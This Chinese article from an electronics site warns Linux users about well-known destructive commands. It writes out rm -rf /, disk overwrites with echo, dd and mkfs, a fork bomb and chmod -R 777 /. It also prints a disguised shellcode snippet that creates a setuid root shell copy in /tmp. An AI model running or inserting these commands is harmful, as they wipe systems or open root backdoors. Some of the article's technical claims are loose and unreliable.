0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內(nèi)不再提示

分享一些流行危險的Linux命令

CHANBAEK ? 來源:myfreax ? 作者:myfreax ? 2022-12-14 17:26 ? 次閱讀

Linux你擁有的工具使你能夠控制和修改操作系統(tǒng)的每一個方面。但如果你不熟悉這些命令和工具,你可以很容易地把你的系統(tǒng)摧毀。

想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。

這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座。

隨著孩子的成長和經(jīng)驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。

同樣,如果你知道一些已知的風險命令,你可能會避免落入陷阱,他們試圖欺騙你運行命令,擾亂你的系統(tǒng)。

當你積累了經(jīng)驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統(tǒng)的機會就會減少。

這里我們與你分享一些流行危險的Linux命令。讓我們看看它們是如何干掉你的 Linux 系統(tǒng)的。

rm -rf /*

這個可能是在各種社交媒體上出現(xiàn)的最多的命令。你會經(jīng)常發(fā)現(xiàn)大佬們在各種討論中提及這個。

rm 命令用于刪除文件或者目錄。選項-r-f 表示遞歸地刪除指定目錄內(nèi)的所有文件。如果沒有root權限,這個命令造成任何傷害不大。

運行命令sudo rm -rf /也不會產(chǎn)生任何問題,因為大多數(shù)發(fā)行版提供一個故障安全選項。你需要指定--no-preserve-root才能運行它。

它遞歸地刪除根目錄的所有文件,在一段時間后,你的系統(tǒng)會被凍結,并顯示刪除文件錯誤。重新啟動系統(tǒng),你將被送到grub-rescue提示符。

sudo rm -rf / --no-preserve-root
sudo rm -rf /*

覆蓋你的分區(qū)

如果你熟悉文件系統(tǒng),你可能知道/dev/sda是什么。通常是你的磁盤驅(qū)動器。重定向操作符>用于將其前面命令的標準輸出寫入指定設備文件。

但是你可能會在運行命令時把它寫到/dev/sda。例如你可能會運行命令echo "Hello" > /dev/sda

命令將會把Hello字符串替換/dev/sda驅(qū)動器的所有數(shù)據(jù),/dev/sda驅(qū)動器數(shù)據(jù)也就丟失。

echo "Hello" > /dev/sda

標準輸入,標準輸出,標準錯誤與重定向 | myfreax

0表示標準輸入。1表示標準輸出。2標準錯誤。您可以使用這些文件描述符來控制程序或者腳本的輸入和輸出

myfreaxmyfreax

標準輸入,標準輸出,重定向

把所有移動到/dev/null

在每個Linux系統(tǒng)內(nèi)都有一個空設備文件。而這個空設備文件就是/dev/null。通常稱它為黑洞。

無論你把什么東西移動這個這個文件都會永遠丟失。而且它在丟棄數(shù)據(jù)后會將寫入過程報告為成功,這是其破壞性的主要原因。

mv 命令用來移動或重命名文件/目錄。命令mv /home/user/* /dev/null把家目錄內(nèi)的所有文件都移到黑洞。雖然系統(tǒng)沒有被破壞,但你所有的個人數(shù)據(jù)都會丟失。

mv /home/user/* /dev/null

Linux mv命令移動文件與目錄 | myfreax

移動文件和目錄是您在Linux系統(tǒng)上經(jīng)常需要執(zhí)行的最基本的任務之一。在本教程中,我們將說明如何使用mv命令移動文件和目錄。

myfreaxmyfreax

mv 命令移動文件

格式化硬盤

mkfs是一個命令行工具,用于格式化磁盤和分區(qū)。它是一個超級方便的工具,可以為你創(chuàng)建分區(qū)。

但同樣的命令也可以格式化你的硬盤。格式化你的驅(qū)動器意味著刪除系統(tǒng)啟動所需的所有文件。

命令mkfs.ext3 /dev/sda完成了它的工作,而你最終得到了一個無法恢復的混亂的系統(tǒng)。

mkfs.ext3 /dev/sda

如何創(chuàng)建磁盤分區(qū)在Linux | myfreax

安裝新的SSD或硬盤后,您需要做的第一件事就是對其進行分區(qū)。每個驅(qū)動器至少需要一個分區(qū),然后才能對其進行格式化并在其中存儲文件

myfreaxmyfreax

fdisk命令創(chuàng)建分區(qū)

fork 炸彈

:(){ :|:& };:這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統(tǒng)資源來凍結一個正在運行的系統(tǒng)。

&是Shell后臺操作符。它通知Shell將命令放在后臺運行。在這里定義一個叫做 : 的函數(shù)。

它調(diào)用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復執(zhí)行,直到系統(tǒng)凍結。

顧名思義,它會自己fork,最終成為一個連鎖炸彈,吃掉了所有的系統(tǒng)資源。你將被迫重啟系統(tǒng),這并不像中其他命令那樣糟糕。

:(){ :|:& };:

覆蓋重要的配置文件

>雖然這本身不是一個命令,但它更像是一個預防性的東西。如上所述,>操作符是用來向文件寫入內(nèi)容。

>操作符重寫文件中已經(jīng)存在的數(shù)據(jù),并將提供的新數(shù)據(jù)寫入文件中。如果你將一些重要的配置文件作為寫數(shù)據(jù)的地方,原始配置將會丟失,留下一個損壞的系統(tǒng)。

command > config_filename

用垃圾數(shù)填充換分區(qū)

/dev/random是Linux 的一個命令,它可以創(chuàng)建垃圾數(shù)據(jù)。把它和dd命令以及你的分區(qū)組合起來,你就得到了一個可以讓你的分區(qū)爆炸的燃燒彈。

dd命令被用作一個低級別的復制工具。在這里它從/dev/random中獲取隨機數(shù)據(jù),并用這些垃圾數(shù)據(jù)替換/dev/sda分區(qū)。

另一個實現(xiàn)類似效果的命令是cat /dev/urandom > filename,在這里它從 /dev/urandom獲取隨機數(shù)據(jù)并寫入一個文件。

如果不使用 Ctrl + C終止,文件會占據(jù)相當大的空間,這對低端系統(tǒng)來說可能是災難性的。

/dev/urandom/dev/random是一樣的設備文件

dd if=/dev/random of=/dev/sda
cat /dev/urandom > filename

Linux cat命令技巧與詳解 | myfreax

cat命令是Linux中最常用的命令之一,cat命令的名稱來自于concatenate。cat最常用于打印一個或多個文本文件的內(nèi)容

myfreaxmyfreax

將系統(tǒng)暴露所有人

在Linux,所有東西都是文件,每個 文件都有一定的權限。你可以運行l(wèi)s命令ls -l查看權限。

根文件系統(tǒng)是不允許沒有權限的用戶訪問的。雖然這保證系統(tǒng)的私密性和安全性,但你可以用一個命令顛覆這個系統(tǒng)。

命令chmod -R 777 /將根分區(qū)上的所有文件暴露給所有人。這意味著每個使用該系統(tǒng)的人都有讀、寫和執(zhí)行的權限。這對你的系統(tǒng)是不利的。

chmod -R 777 /

Linux chmod 命令修改文件目錄權限 | myfreax

在Linux,通過文件權限,屬性和所有權來管理對文件的訪問

myfreaxmyfreax

下載并運行惡意的內(nèi)容

你如何在Linux中安裝軟件?你可以使用官方的軟件包管理器,或者使用低級別的包管理工具如Deb/RPM、Snap、Flatpak等。

然而有些軟件是沒有打包的分發(fā)的,它們的開發(fā)者提供下載和安裝Shell腳本。你下載一個Shell文件,然后以root用戶運行它。

這樣的命令會在你的系統(tǒng)中下載并運行惡意腳本,這可能會破壞你的系統(tǒng)的安全性。

偽裝的命令

在Linux終端,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令。

雖然它看起來很花哨,但這是rm -rf命令另一個編碼版本。它的效果與運行前面的命令相同。

因此,在從互聯(lián)網(wǎng)上復制和粘貼這些花哨的命令時,要小心謹慎。因為歸根結底,還是要靠用戶來保證,不要盲目地運行任何危險的命令而破壞系統(tǒng)。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么UNIX的工作就是以它所知道的最有效的方式將石頭砸到腳上。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Linux
    +關注

    關注

    87

    文章

    11207

    瀏覽量

    208717
  • 操作系統(tǒng)

    關注

    37

    文章

    6684

    瀏覽量

    123140
  • 命令
    +關注

    關注

    5

    文章

    676

    瀏覽量

    21965
收藏 人收藏

    評論

    相關推薦

    介紹一些實用的Linux命令

    作為名軟件開發(fā)人員,掌握 Linux 命令是必不可少的技能。即使你使用 Windows 或 macOS,你總會遇到需要使用 Linux 命令
    發(fā)表于 08-01 16:12 ?337次閱讀
    介紹<b class='flag-5'>一些</b>實用的<b class='flag-5'>Linux</b><b class='flag-5'>命令</b>

    Linux系統(tǒng)的一些常用的基本命令分享

    Linux系統(tǒng)的一些常用的基本命令
    發(fā)表于 01-04 06:36

    Linux關機命令詳解

    Linux關機命令詳解 在linux一些常用的關機/重啟命令有shutdown、halt、reboot、及init,它們都 可以達到重啟
    發(fā)表于 01-18 12:52 ?3616次閱讀

    linux安裝的一些軟件

    linux安裝的一些軟件,jdk和tomcat類的。
    發(fā)表于 11-09 17:39 ?0次下載

    學習管理 docker 容器的一些命令

    在本教程中,我們會學習管理 docker 容器的一些命令。
    的頭像 發(fā)表于 01-22 11:56 ?4279次閱讀

    根據(jù)一些簡單的實例來討論 Linux rmdir 命令

    Linux 命令行上刪除文件和目錄,我們已經(jīng)討論過 rm 命令 的使用。然而,這里有另個相關的命令行工具,專門針對目錄的刪除。這是所指
    的頭像 發(fā)表于 02-23 09:42 ?4125次閱讀
    根據(jù)<b class='flag-5'>一些</b>簡單的實例來討論 <b class='flag-5'>Linux</b> rmdir <b class='flag-5'>命令</b>

    如何通過一些Linux的安全命令加固你的Linux系統(tǒng)?改善你的Linux安全

    在最開始,我們需要問的個問題是:Linux是已經(jīng)足夠被安全加固了嗎?答案當然是否定的。那些嫻熟的攻擊者所帶來的危險是與日俱增的。每天、甚至是每小時都有新的漏洞被發(fā)現(xiàn)。對這些漏洞的利用方法通常建立在
    的頭像 發(fā)表于 09-24 12:42 ?1w次閱讀

    匯總下能夠幫助樹莓派初學者入門的一些資源

    樹莓派運行的是Linux系統(tǒng),因此需要對Linux命令和操作進行熟悉,我個人的體會Linux命令行就跟當年我們學的DOS系統(tǒng)
    的頭像 發(fā)表于 04-04 14:43 ?1.2w次閱讀

    Linux上常用的命令有哪一些

    Linux上常用的12條命令
    發(fā)表于 11-12 14:45 ?745次閱讀

    linux常用命令大全

    linux常用命令大全,一些常用的命令都可以找到
    發(fā)表于 03-03 09:20 ?0次下載

    危險Linux命令清單

    有人無數(shù)次問我這個問題,我直避免回答,因為沒有個明確的危險Linux 命令清單。
    的頭像 發(fā)表于 09-26 09:16 ?1075次閱讀

    分享一些Linux服務器的安全小貼士

    今天浩道跟大家分享一些Linux服務器的安全小貼士,讓你維護linux服務器安全上有一些方向!
    發(fā)表于 01-29 11:27 ?301次閱讀

    Linux history命令的使用技巧

    使用 Linux 命令行工作,需要了解且使用 history 的一些常用的特性,不管是 Linux 初學者,還是系統(tǒng)專家。
    的頭像 發(fā)表于 02-03 16:30 ?2737次閱讀
    <b class='flag-5'>Linux</b> history<b class='flag-5'>命令</b>的使用技巧

    一些高效linux命令技巧總結

    今天浩道跟大家分享硬核干貨,關于linux運維中那些高效的運維命令??梢哉f掌握以下這些技巧,你將收到事半功倍的效果!
    的頭像 發(fā)表于 02-12 17:00 ?835次閱讀

    shell命令linux命令樣嗎

    結合在起,形成個相當于面向過程的程序,即shell script,從而實現(xiàn)一些復雜的功能。 而Linux命令則是用來對
    的頭像 發(fā)表于 11-08 10:51 ?2701次閱讀